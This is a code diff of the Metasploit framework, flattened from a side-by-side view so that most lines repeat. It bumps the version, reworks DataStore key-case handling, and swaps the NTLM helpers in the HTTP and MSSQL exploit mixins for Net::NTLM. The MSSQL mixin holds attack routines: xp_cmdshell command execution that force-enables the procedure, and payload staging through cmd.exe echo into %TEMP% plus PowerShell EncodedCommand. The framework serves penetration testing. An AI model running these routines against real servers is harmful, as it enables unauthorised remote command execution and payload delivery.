raise RuntimeError, "Unable to parse encryption "\ raise RuntimeError, "Unable to parse encryption "\
"req during pre-login" "req during pre-login"
@ -735,17 +704,17 @@ module Metasploit
while(not done) while(not done)
head = sock.get_once(8, timeout) head = sock.get_once(8, timeout)
if !(head and head.length == 8) if !(head && head.length == 8)
return false return false
end end
# Is this the last buffer? # Is this the last buffer?
if(head[1,1] == "\x01" or not check_status ) if head[1, 1] == "\x01" || !check_status
done = true done = true
end end
# Grab this block's length # Grab this block's length
rlen = head[2,2].unpack('n')[0] - 8 rlen = head[2, 2].unpack('n')[0] - 8
while(rlen > 0) while(rlen > 0)
buff = sock.get_once(rlen, timeout) buff = sock.get_once(rlen, timeout)
@ -758,7 +727,7 @@ module Metasploit
resp resp
end end
def mssql_ssl_send_recv(req,tdsproxy,timeout=15,check_status=true) def mssql_ssl_send_recv(req, tdsproxy, timeout=15, check_status=true)
tdsproxy.send_recv(req) tdsproxy.send_recv(req)
end end

View File

@ -30,7 +30,7 @@ module Metasploit
end end
end end
VERSION = "4.12.8" VERSION = "4.12.10"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev' PRERELEASE = 'dev'
HASH = get_hash HASH = get_hash

View File

@ -1,7 +1,4 @@
# -*- coding: binary -*- # -*- coding: binary -*-
require 'set'
module Msf module Msf
### ###
@ -16,10 +13,9 @@ class DataStore < Hash
# Initializes the data store's internal state. # Initializes the data store's internal state.
# #
def initialize() def initialize()
@options = Hash.new @options = Hash.new
@imported = Hash.new @imported = Hash.new
@imported_by = Hash.new @imported_by = Hash.new
@original_keys = Set.new
end end
# #
@ -27,8 +23,7 @@ class DataStore < Hash
# directly. # directly.
# #
def []=(k, v) def []=(k, v)
add_key(k) k = find_key_case(k)
k = k.downcase
@imported[k] = false @imported[k] = false
@imported_by[k] = nil @imported_by[k] = nil
@ -49,32 +44,31 @@ class DataStore < Hash
# Case-insensitive wrapper around hash lookup # Case-insensitive wrapper around hash lookup
# #
def [](k) def [](k)
super(k.downcase) super(find_key_case(k))
end end
# #
# Case-insensitive wrapper around store # Case-insensitive wrapper around store
# #
def store(k,v) def store(k,v)
add_key(k) super(find_key_case(k), v)
super(k.downcase, v)
end end
# #
# Case-insensitive wrapper around delete # Case-insensitive wrapper around delete
# #
def delete(k) def delete(k)
super(k.downcase) super(find_key_case(k))
end end
# Override Hash's to_h method so we can include the original case of each key
# (failing to do this breaks a number of places in framework and pro that use #
# serialized datastores) # Updates a value in the datastore with the specified name, k, to the
def to_h # specified value, v. This update does not alter the imported status of
@original_keys.reduce({}) do |acc, key| # the value.
acc[key] = self[key] #
acc def update_value(k, v)
end self.store(k, v)
end end
# #
@ -134,16 +128,15 @@ class DataStore < Hash
# Imports options from a hash and stores them in the datastore. # Imports options from a hash and stores them in the datastore.
# #
def import_options_from_hash(option_hash, imported = true, imported_by = nil) def import_options_from_hash(option_hash, imported = true, imported_by = nil)
option_hash.each_pair do |key, val| option_hash.each_pair { |key, val|
import_option(key, val, imported, imported_by) import_option(key, val, imported, imported_by)
end }
end end
def import_option(key, val, imported=true, imported_by=nil, option=nil) def import_option(key, val, imported=true, imported_by=nil, option=nil)
self.store(key, val) self.store(key, val)
key = key.downcase @options[key] = option
@options[key] = option
@imported[key] = imported @imported[key] = imported
@imported_by[key] = imported_by @imported_by[key] = imported_by
end end
@ -152,9 +145,21 @@ class DataStore < Hash
# Serializes the options in the datastore to a string. # Serializes the options in the datastore to a string.
# #
def to_s(delim = ' ') def to_s(delim = ' ')
@original_keys.reduce('') do |acc, key| str = ''
acc << "#{key}=#{self[key]}#{delim}"
keys.sort.each { |key|
str << "#{key}=#{self[key]}" + ((str.length) ? delim : '')
}
return str
end
def to_h
datastore_hash = {}
self.keys.each do |k|
datastore_hash[k.to_s] = self[k].to_s
end end
datastore_hash
end end
# #
@ -194,10 +199,9 @@ class DataStore < Hash
# not include default option values. # not include default option values.
# #
def user_defined def user_defined
@original_keys.reduce({}) do |acc, k| reject { |k, v|
acc[k] = self[k] unless @imported[k.downcase] @imported[k] == true
acc }
end
end end
# #
@ -218,26 +222,40 @@ class DataStore < Hash
# Completely clear all values in the hash # Completely clear all values in the hash
# #
def clear def clear
@options.clear self.keys.each {|k| self.delete(k) }
@imported.clear self
@imported_by.clear
@original_keys.clear
super
end end
# Yield the original-cased key #
# Overrides the builtin 'each' operator to avoid the following exception on Ruby 1.9.2+
# "can't add a new key into hash during iteration"
#
def each(&block) def each(&block)
@original_keys.each do |key| list = []
block.call(key, self[key]) self.keys.sort.each do |sidx|
list << [sidx, self[sidx]]
end end
list.each(&block)
end end
protected protected
# Keep track of the original, case-sensitive key #
def add_key(k) # Case-insensitive key lookup
@original_keys.add(k) unless include? k.downcase #
def find_key_case(k)
# Scan each key looking for a match
self.each_key do |rk|
if (rk.downcase == k.downcase)
return rk
end
end
# Fall through to the non-existent value
return k
end end
end end
### ###
@ -260,7 +278,7 @@ class ModuleDataStore < DataStore
# if we can't directly find it # if we can't directly find it
# #
def fetch(key) def fetch(key)
key = key.downcase key = find_key_case(key)
val = nil val = nil
val = super if(@imported_by[key] != 'self') val = super if(@imported_by[key] != 'self')
if (val.nil? and @_module and @_module.framework) if (val.nil? and @_module and @_module.framework)
@ -274,7 +292,7 @@ class ModuleDataStore < DataStore
# Same as fetch # Same as fetch
# #
def [](key) def [](key)
key = key.downcase key = find_key_case(key)
val = nil val = nil
val = super if(@imported_by[key] != 'self') val = super if(@imported_by[key] != 'self')
if (val.nil? and @_module and @_module.framework) if (val.nil? and @_module and @_module.framework)
@ -297,10 +315,11 @@ class ModuleDataStore < DataStore
def copy def copy
clone = self.class.new(@_module) clone = self.class.new(@_module)
self.keys.each do |k| self.keys.each do |k|
clone.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k.downcase], @imported_by[k.downcase]) clone.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k])
end end
clone clone
end end
end end
end end

View File

@ -2,10 +2,6 @@
require 'uri' require 'uri'
require 'digest' require 'digest'
require 'rex/proto/ntlm/crypt'
require 'rex/proto/ntlm/constants'
require 'rex/proto/ntlm/utils'
require 'rex/proto/ntlm/exceptions'
module Msf module Msf
### ###
@ -16,15 +12,6 @@ module Msf
### ###
module Exploit::Remote::HttpClient module Exploit::Remote::HttpClient
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
include Exploit::Remote::NTLM::Client
#
# Constants
#
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
NTLM_CONST = Rex::Proto::NTLM::Constants
NTLM_UTILS = Rex::Proto::NTLM::Utils
NTLM_XCEPT = Rex::Proto::NTLM::Exceptions
# #
# Initializes an exploit module that exploits a vulnerability in an HTTP # Initializes an exploit module that exploits a vulnerability in an HTTP
@ -193,12 +180,6 @@ module Exploit::Remote::HttpClient
'uri_fake_end' => datastore['HTTP::uri_fake_end'], 'uri_fake_end' => datastore['HTTP::uri_fake_end'],
'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'], 'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'],
'header_folding' => datastore['HTTP::header_folding'], 'header_folding' => datastore['HTTP::header_folding'],
'usentlm2_session' => datastore['NTLM::UseNTLM2_session'],
'use_ntlmv2' => datastore['NTLM::UseNTLMv2'],
'send_lm' => datastore['NTLM::SendLM'],
'send_ntlm' => datastore['NTLM::SendNTLM'],
'SendSPN' => datastore['NTLM::SendSPN'],
'UseLMKey' => datastore['NTLM::UseLMKey'],
'domain' => datastore['DOMAIN'], 'domain' => datastore['DOMAIN'],
'DigestAuthIIS' => datastore['DigestAuthIIS'] 'DigestAuthIIS' => datastore['DigestAuthIIS']
) )
@ -255,12 +236,6 @@ module Exploit::Remote::HttpClient
evade_uri_fake_end: datastore['HTTP::uri_fake_end'], evade_uri_fake_end: datastore['HTTP::uri_fake_end'],
evade_uri_fake_params_start: datastore['HTTP::uri_fake_params_start'], evade_uri_fake_params_start: datastore['HTTP::uri_fake_params_start'],
evade_header_folding: datastore['HTTP::header_folding'], evade_header_folding: datastore['HTTP::header_folding'],
ntlm_use_ntlmv2_session: datastore['NTLM::UseNTLM2_session'],
ntlm_use_ntlmv2: datastore['NTLM::UseNTLMv2'],
ntlm_send_lm: datastore['NTLM::SendLM'],
ntlm_send_ntlm: datastore['NTLM::SendNTLM'],
ntlm_send_spn: datastore['NTLM::SendSPN'],
ntlm_use_lm_key: datastore['NTLM::UseLMKey'],
ntlm_domain: datastore['DOMAIN'], ntlm_domain: datastore['DOMAIN'],
digest_auth_iis: datastore['DigestAuthIIS'] digest_auth_iis: datastore['DigestAuthIIS']
}.merge(conf) }.merge(conf)

View File

@ -1,11 +1,6 @@
# -*- coding: binary -*- # -*- coding: binary -*-
require 'msf/core' require 'msf/core'
require 'msf/core/exploit/mssql_commands' require 'msf/core/exploit/mssql_commands'
require 'rex/proto/ntlm/crypt'
require 'rex/proto/ntlm/constants'
require 'rex/proto/ntlm/utils'
require 'rex/proto/ntlm/exceptions'
module Msf module Msf
@ -21,41 +16,32 @@ module Exploit::Remote::MSSQL
include Exploit::Remote::Tcp include Exploit::Remote::Tcp
include Exploit::Remote::NTLM::Client include Exploit::Remote::NTLM::Client
#
# Constants
#
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
NTLM_CONST = Rex::Proto::NTLM::Constants
NTLM_UTILS = Rex::Proto::NTLM::Utils
NTLM_XCEPT = Rex::Proto::NTLM::Exceptions
# Encryption # Encryption
ENCRYPT_OFF = 0x00 #Encryption is available but off. ENCRYPT_OFF = 0x00 #Encryption is available but off.
ENCRYPT_ON = 0x01 #Encryption is available and on. ENCRYPT_ON = 0x01 #Encryption is available and on.
ENCRYPT_NOT_SUP = 0x02 #Encryption is not available. ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
ENCRYPT_REQ = 0x03 #Encryption is required. ENCRYPT_REQ = 0x03 #Encryption is required.
# Paquet Type # Packet Type
TYPE_SQL_BATCH = 1 # (Client) SQL command TYPE_SQL_BATCH = 1 # (Client) SQL command
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused) TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
TYPE_RPC = 3 # (Client) RPC TYPE_RPC = 3 # (Client) RPC
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters, TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
# Request Completion, Error and Info Messages, Attention Acknowledgement # Request Completion, Error and Info Messages, Attention Acknowledgement
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
TYPE_TDS7_LOGIN = 16 # (Client) Login TYPE_TDS7_LOGIN = 16 # (Client) Login
TYPE_SSPI_MESSAGE = 17 # (Client) Login TYPE_SSPI_MESSAGE = 17 # (Client) Login
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7 TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
# Status # Status
STATUS_NORMAL = 0x00 STATUS_NORMAL = 0x00
STATUS_END_OF_MESSAGE = 0x01 STATUS_END_OF_MESSAGE = 0x01
STATUS_IGNORE_EVENT = 0x02 STATUS_IGNORE_EVENT = 0x02
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+ STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+ STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
# #
# Creates an instance of a MSSQL exploit module. # Creates an instance of a MSSQL exploit module.
# #
@ -100,16 +86,13 @@ module Exploit::Remote::MSSQL
'MsfExploit' => self, 'MsfExploit' => self,
}) })
ping_sock.put("\x02") ping_sock.put("\x02")
resp, saddr, sport = ping_sock.recvfrom(65535, timeout) resp, _saddr, _sport = ping_sock.recvfrom(65535, timeout)
ping_sock.close ping_sock.close
return data if not resp return data if not resp
return data if resp.length == 0 return data if resp.length == 0
var = nil
return mssql_ping_parse(resp) return mssql_ping_parse(resp)
end end
@ -145,15 +128,15 @@ module Exploit::Remote::MSSQL
# #
# Execute a system command via xp_cmdshell # Execute a system command via xp_cmdshell
# #
def mssql_xpcmdshell(cmd,doprint=false,opts={}) def mssql_xpcmdshell(cmd, doprint=false, opts={})
force_enable = false force_enable = false
begin begin
res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", false, opts) res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", false, opts)
if(res[:errors] and not res[:errors].empty?) if res[:errors] && !res[:errors].empty?
if(res[:errors].join =~ /xp_cmdshell/) if res[:errors].join =~ /xp_cmdshell/
if(force_enable) if force_enable
print_error("The xp_cmdshell procedure is not available and could not be enabled") print_error("The xp_cmdshell procedure is not available and could not be enabled")
raise RuntimeError, "Failed to execute command" raise RuntimeError, "Failed to execute command"
else else
print_status("The server may have xp_cmdshell disabled, trying to enable it...") print_status("The server may have xp_cmdshell disabled, trying to enable it...")
mssql_query(mssql_xpcmdshell_enable()) mssql_query(mssql_xpcmdshell_enable())
@ -167,7 +150,7 @@ module Exploit::Remote::MSSQL
return res return res
rescue RuntimeError => e rescue RuntimeError => e
if(e.to_s =~ /xp_cmdshell disabled/) if e.to_s =~ /xp_cmdshell disabled/
force_enable = true force_enable = true
retry retry
end end
@ -200,7 +183,7 @@ module Exploit::Remote::MSSQL
idx = 0 idx = 0
cnt = 500 cnt = 500
while(idx < hex.length - 1) while(idx < hex.length - 1)
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false) mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
idx += cnt idx += cnt
end end
@ -234,7 +217,7 @@ module Exploit::Remote::MSSQL
idx = 0 idx = 0
cnt = 500 cnt = 500
while(idx < hex.length - 1) while(idx < hex.length - 1)
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false) mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
idx += cnt idx += cnt
end end
print_status("Converting the payload utilizing PowerShell EncodedCommand...") print_status("Converting the payload utilizing PowerShell EncodedCommand...")
@ -260,17 +243,17 @@ module Exploit::Remote::MSSQL
while(not done) while(not done)
head = sock.get_once(8, timeout) head = sock.get_once(8, timeout)
if !(head and head.length == 8) if !(head && head.length == 8)
return false return false
end end
# Is this the last buffer? # Is this the last buffer?
if(head[1,1] == "\x01" or not check_status ) if(head[1, 1] == "\x01" or not check_status )
done = true done = true
end end
# Grab this block's length # Grab this block's length
rlen = head[2,2].unpack('n')[0] - 8 rlen = head[2, 2].unpack('n')[0] - 8
while(rlen > 0) while(rlen > 0)
buff = sock.get_once(rlen, timeout) buff = sock.get_once(rlen, timeout)
@ -302,77 +285,77 @@ module Exploit::Remote::MSSQL
pkt_data = "" pkt_data = ""
pkt_hdr = [ pkt_hdr = [
TYPE_PRE_LOGIN_MESSAGE, #type TYPE_PRE_LOGIN_MESSAGE, #type
STATUS_END_OF_MESSAGE, #status STATUS_END_OF_MESSAGE, #status
0x0000, #length 0x0000, #length
0x0000, # SPID 0x0000, # SPID
0x00, # PacketID 0x00, # PacketID
0x00 #Window 0x00 #Window
] ]
version = [0x55010008,0x0000].pack("Vv") version = [0x55010008, 0x0000].pack("Vv")
encryption = ENCRYPT_NOT_SUP # off encryption = ENCRYPT_NOT_SUP # off
instoptdata = "MSSQLServer\0" instoptdata = "MSSQLServer\0"
threadid = "\0\0" + Rex::Text.rand_text(2) threadid = "\0\0" + Rex::Text.rand_text(2)
idx = 21 # size of pkt_data_token idx = 21 # size of pkt_data_token
pkt_data_token << [ pkt_data_token << [
0x00, # Token 0 type Version 0x00, # Token 0 type Version
idx , # VersionOffset idx, # VersionOffset
version.length, # VersionLength version.length, # VersionLength
0x01, # Token 1 type Encryption 0x01, # Token 1 type Encryption
idx = idx + version.length, # EncryptionOffset idx = idx + version.length, # EncryptionOffset
0x01, # EncryptionLength 0x01, # EncryptionLength
0x02, # Token 2 type InstOpt 0x02, # Token 2 type InstOpt
idx = idx + 1, # InstOptOffset idx = idx + 1, # InstOptOffset
instoptdata.length, # InstOptLength instoptdata.length, # InstOptLength
0x03, # Token 3 type Threadid 0x03, # Token 3 type Threadid
idx + instoptdata.length, # ThreadIdOffset idx + instoptdata.length, # ThreadIdOffset
0x04, # ThreadIdLength 0x04, # ThreadIdLength
0xFF 0xFF
].pack("CnnCnnCnnCnnC") ].pack("CnnCnnCnnCnnC")
pkt_data << pkt_data_token pkt_data << pkt_data_token
pkt_data << version pkt_data << version
pkt_data << encryption pkt_data << encryption
pkt_data << instoptdata pkt_data << instoptdata
pkt_data << threadid pkt_data << threadid
pkt_hdr[2] = pkt_data.length + 8 pkt_hdr[2] = pkt_data.length + 8
pkt = pkt_hdr.pack("CCnnCC") + pkt_data pkt = pkt_hdr.pack("CCnnCC") + pkt_data
resp = mssql_send_recv(pkt) resp = mssql_send_recv(pkt)
idx = 0 idx = 0
while resp and resp[0,1] != "\xff" and resp.length > 5 while resp && resp[0, 1] != "\xff" && resp.length > 5
token = resp.slice!(0,5) token = resp.slice!(0, 5)
token = token.unpack("Cnn") token = token.unpack("Cnn")
idx -= 5 idx -= 5
if token[0] == 0x01 if token[0] == 0x01
idx += token[1]
idx += token[1] break
break
end
end
if idx > 0
encryption_mode = resp[idx,1].unpack("C")[0]
else
#force to ENCRYPT_NOT_SUP and hope for the best
encryption_mode = ENCRYPT_NOT_SUP
end end
end
if encryption_mode != ENCRYPT_NOT_SUP and enc_error if idx > 0
raise RuntimeError,"Encryption is not supported" encryption_mode = resp[idx, 1].unpack("C")[0]
end else
encryption_mode # force to ENCRYPT_NOT_SUP and hope for the best
encryption_mode = ENCRYPT_NOT_SUP
end
if encryption_mode != ENCRYPT_NOT_SUP && enc_error
raise RuntimeError,"Encryption is not supported"
end
encryption_mode
end end
# #
@ -401,14 +384,14 @@ module Exploit::Remote::MSSQL
idx = 0 idx = 0
pkt = '' pkt = ''
pkt_hdr = '' pkt_hdr = ''
pkt_hdr = [ pkt_hdr = [
TYPE_TDS7_LOGIN, #type TYPE_TDS7_LOGIN, #type
STATUS_END_OF_MESSAGE, #status STATUS_END_OF_MESSAGE, #status
0x0000, #length 0x0000, #length
0x0000, # SPID 0x0000, # SPID
0x01, # PacketID (unused upon specification 0x01, # PacketID (unused upon specification
# but ms network monitor stil prefer 1 to decode correctly, wireshark don't care) # but ms network monitor stil prefer 1 to decode correctly, wireshark don't care)
0x00 #Window 0x00 #Window
] ]
pkt << [ pkt << [
@ -431,19 +414,18 @@ module Exploit::Remote::MSSQL
sname = Rex::Text.to_unicode( rhost ) sname = Rex::Text.to_unicode( rhost )
dname = Rex::Text.to_unicode( db ) dname = Rex::Text.to_unicode( db )
ntlm_options = {
:signing => false,
:usentlm2_session => datastore['NTLM::UseNTLM2_session'],
:use_ntlmv2 => datastore['NTLM::UseNTLMv2'],
:send_lm => datastore['NTLM::SendLM'],
:send_ntlm => datastore['NTLM::SendNTLM']
}
ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options)
workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
domain_name = datastore['DOMAIN']
ntlmsspblob = NTLM_UTILS::make_ntlmssp_blob_init(domain_name, workstation_name, ntlmssp_flags) ntlm_client = ::Net::NTLM::Client.new(
user,
pass,
workstation: workstation_name,
domain: datastore['DOMAIN'],
)
type1 = ntlm_client.init_context
# SQL 2012, at least, does not support KEY_EXCHANGE
type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE]
ntlmsspblob = type1.serialize
idx = pkt.size + 50 # lengths below idx = pkt.size + 50 # lengths below
@ -484,9 +466,9 @@ module Exploit::Remote::MSSQL
pkt << ntlmsspblob pkt << ntlmsspblob
# Total packet length # Total packet length
pkt[0,4] = [pkt.length].pack('V') pkt[0, 4] = [pkt.length].pack('V')
pkt_hdr[2] = pkt.length + 8 pkt_hdr[2] = pkt.length + 8
pkt = pkt_hdr.pack("CCnnCC") + pkt pkt = pkt_hdr.pack("CCnnCC") + pkt
@ -494,56 +476,36 @@ module Exploit::Remote::MSSQL
# has a strange behavior that differs from the specifications # has a strange behavior that differs from the specifications
# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header # upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification # is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
resp = mssql_send_recv(pkt,15, false) resp = mssql_send_recv(pkt, 15, false)
# Get default data unless resp.include?("NTLMSSP")
begin
blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(resp)
# a domain.length < 3 will hit this
rescue NTLM_XCEPT::NTLMMissingChallenge
info = {:errors => []} info = {:errors => []}
mssql_parse_reply(resp, info) mssql_parse_reply(resp, info)
mssql_print_reply(info) mssql_print_reply(info)
return false return false
end end
challenge_key = blob_data[:challenge_key]
server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
#netbios name
default_name = blob_data[:default_name] || ''
#netbios domain
default_domain = blob_data[:default_domain] || ''
#dns name
dns_host_name = blob_data[:dns_host_name] || ''
#dns domain
dns_domain_name = blob_data[:dns_domain_name] || ''
#Client time
chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || ''
spnopt = {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} # Get default data
resp = resp[3..-1]
resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, challenge_key, type3 = ntlm_client.init_context([resp].pack('m'))
domain_name, default_name, default_domain, type3_blob = type3.serialize
dns_host_name, dns_domain_name, chall_MsvAvTimestamp,
spnopt, ntlm_options)
ntlmssp = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, user, resp_lm, resp_ntlm, '', ntlmssp_flags)
# Create an SSPIMessage # Create an SSPIMessage
idx = 0 idx = 0
pkt = '' pkt = ''
pkt_hdr = '' pkt_hdr = ''
pkt_hdr = [ pkt_hdr = [
TYPE_SSPI_MESSAGE, #type TYPE_SSPI_MESSAGE, #type
STATUS_END_OF_MESSAGE, #status STATUS_END_OF_MESSAGE, #status
0x0000, #length 0x0000, #length
0x0000, # SPID 0x0000, # SPID
0x01, # PacketID 0x01, # PacketID
0x00 #Window 0x00 #Window
] ]
pkt_hdr[2] = ntlmssp.length + 8 pkt_hdr[2] = type3_blob.length + 8
pkt = pkt_hdr.pack("CCnnCC") + ntlmssp pkt = pkt_hdr.pack("CCnnCC") + type3_blob
resp = mssql_send_recv(pkt) resp = mssql_send_recv(pkt)
@ -620,7 +582,7 @@ module Exploit::Remote::MSSQL
pkt << dname pkt << dname
# Total packet length # Total packet length
pkt[0,4] = [pkt.length].pack('V') pkt[0, 4] = [pkt.length].pack('V')
# Embedded packet lengths # Embedded packet lengths
pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2 pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2
@ -637,7 +599,7 @@ module Exploit::Remote::MSSQL
end end
info = {:errors => []} info = {:errors => []}
info = mssql_parse_reply(resp,info) info = mssql_parse_reply(resp, info)
return false if not info return false if not info
info[:login_ack] ? true : false info[:login_ack] ? true : false
@ -690,17 +652,17 @@ module Exploit::Remote::MSSQL
print_status("SQL Query: #{info[:sql]}") print_status("SQL Query: #{info[:sql]}")
if(info[:done] and info[:done][:rows].to_i > 0) if info[:done] && info[:done][:rows].to_i > 0
print_status("Row Count: #{info[:done][:rows]} (Status: #{info[:done][:status]} Command: #{info[:done][:cmd]})") print_status("Row Count: #{info[:done][:rows]} (Status: #{info[:done][:status]} Command: #{info[:done][:cmd]})")
end end
if(info[:errors] and not info[:errors].empty?) if info[:errors] && !info[:errors].empty?
info[:errors].each do |err| info[:errors].each do |err|
print_error(err) print_error(err)
end end
end end
if(info[:rows] and not info[:rows].empty?) if info[:rows] && !info[:rows].empty?
tbl = Rex::Ui::Text::Table.new( tbl = Rex::Ui::Text::Table.new(
'Indent' => 1, 'Indent' => 1,
@ -727,14 +689,14 @@ module Exploit::Remote::MSSQL
info[:colnames] ||= [] info[:colnames] ||= []
# Parse out the columns # Parse out the columns
cols = data.slice!(0,2).unpack('v')[0] cols = data.slice!(0, 2).unpack('v')[0]
0.upto(cols-1) do |col_idx| 0.upto(cols-1) do |col_idx|
col = {} col = {}
info[:colinfos][col_idx] = col info[:colinfos][col_idx] = col
col[:utype] = data.slice!(0,2).unpack('v')[0] col[:utype] = data.slice!(0, 2).unpack('v')[0]
col[:flags] = data.slice!(0,2).unpack('v')[0] col[:flags] = data.slice!(0, 2).unpack('v')[0]
col[:type] = data.slice!(0,1).unpack('C')[0] col[:type] = data.slice!(0, 1).unpack('C')[0]
case col[:type] case col[:type]
when 48 when 48
@ -751,8 +713,8 @@ module Exploit::Remote::MSSQL
when 34 when 34
col[:id] = :image col[:id] = :image
col[:max_size] = data.slice!(0,4).unpack('V')[0] col[:max_size] = data.slice!(0, 4).unpack('V')[0]
col[:value_length] = data.slice!(0,2).unpack('v')[0] col[:value_length] = data.slice!(0, 2).unpack('v')[0]
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '') col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
when 36 when 36
@ -760,33 +722,33 @@ module Exploit::Remote::MSSQL
when 38 when 38
col[:id] = :int col[:id] = :int
col[:int_size] = data.slice!(0,1).unpack('C')[0] col[:int_size] = data.slice!(0, 1).unpack('C')[0]
when 127 when 127
col[:id] = :bigint col[:id] = :bigint
when 165 when 165
col[:id] = :hex col[:id] = :hex
col[:max_size] = data.slice!(0,2).unpack('v')[0] col[:max_size] = data.slice!(0, 2).unpack('v')[0]
when 173 when 173
col[:id] = :hex # binary(2) col[:id] = :hex # binary(2)
col[:max_size] = data.slice!(0,2).unpack('v')[0] col[:max_size] = data.slice!(0, 2).unpack('v')[0]
when 231,175,167,239 when 231, 175, 167, 239
col[:id] = :string col[:id] = :string
col[:max_size] = data.slice!(0,2).unpack('v')[0] col[:max_size] = data.slice!(0, 2).unpack('v')[0]
col[:codepage] = data.slice!(0,2).unpack('v')[0] col[:codepage] = data.slice!(0, 2).unpack('v')[0]
col[:cflags] = data.slice!(0,2).unpack('v')[0] col[:cflags] = data.slice!(0, 2).unpack('v')[0]
col[:charset_id] = data.slice!(0,1).unpack('C')[0] col[:charset_id] = data.slice!(0, 1).unpack('C')[0]
else else
col[:id] = :unknown col[:id] = :unknown
end end
col[:msg_len] = data.slice!(0,1).unpack('C')[0] col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
if(col[:msg_len] and col[:msg_len] > 0) if col[:msg_len] && col[:msg_len] > 0
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '') col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
end end
info[:colnames] << (col[:name] || 'NULL') info[:colnames] << (col[:name] || 'NULL')
@ -800,7 +762,7 @@ module Exploit::Remote::MSSQL
info[:errors] = [] info[:errors] = []
return if not data return if not data
until data.empty? until data.empty?
token = data.slice!(0,1).unpack('C')[0] token = data.slice!(0, 1).unpack('C')[0]
case token case token
when 0x81 when 0x81
mssql_parse_tds_reply(data, info) mssql_parse_tds_reply(data, info)
@ -844,28 +806,28 @@ module Exploit::Remote::MSSQL
case col[:id] case col[:id]
when :hex when :hex
str = "" str = ""
len = data.slice!(0,2).unpack('v')[0] len = data.slice!(0, 2).unpack('v')[0]
if(len > 0 and len < 65535) if len > 0 && len < 65535
str << data.slice!(0,len) str << data.slice!(0, len)
end end
row << str.unpack("H*")[0] row << str.unpack("H*")[0]
when :string when :string
str = "" str = ""
len = data.slice!(0,2).unpack('v')[0] len = data.slice!(0, 2).unpack('v')[0]
if(len > 0 and len < 65535) if len > 0 && len < 65535
str << data.slice!(0,len) str << data.slice!(0, len)
end end
row << str.gsub("\x00", '') row << str.gsub("\x00", '')
when :datetime when :datetime
row << data.slice!(0,8).unpack("H*")[0] row << data.slice!(0, 8).unpack("H*")[0]
when :rawint when :rawint
row << data.slice!(0,4).unpack('V')[0] row << data.slice!(0, 4).unpack('V')[0]
when :bigint when :bigint
row << data.slice!(0,8).unpack("H*")[0] row << data.slice!(0, 8).unpack("H*")[0]
when :smallint when :smallint
row << data.slice!(0, 2).unpack("v")[0] row << data.slice!(0, 2).unpack("v")[0]
@ -878,16 +840,16 @@ module Exploit::Remote::MSSQL
when :image when :image
str = '' str = ''
len = data.slice!(0,1).unpack('C')[0] len = data.slice!(0, 1).unpack('C')[0]
str = data.slice!(0,len) if (len and len > 0) str = data.slice!(0, len) if len && len > 0
row << str.unpack("H*")[0] row << str.unpack("H*")[0]
when :int when :int
len = data.slice!(0, 1).unpack("C")[0] len = data.slice!(0, 1).unpack("C")[0]
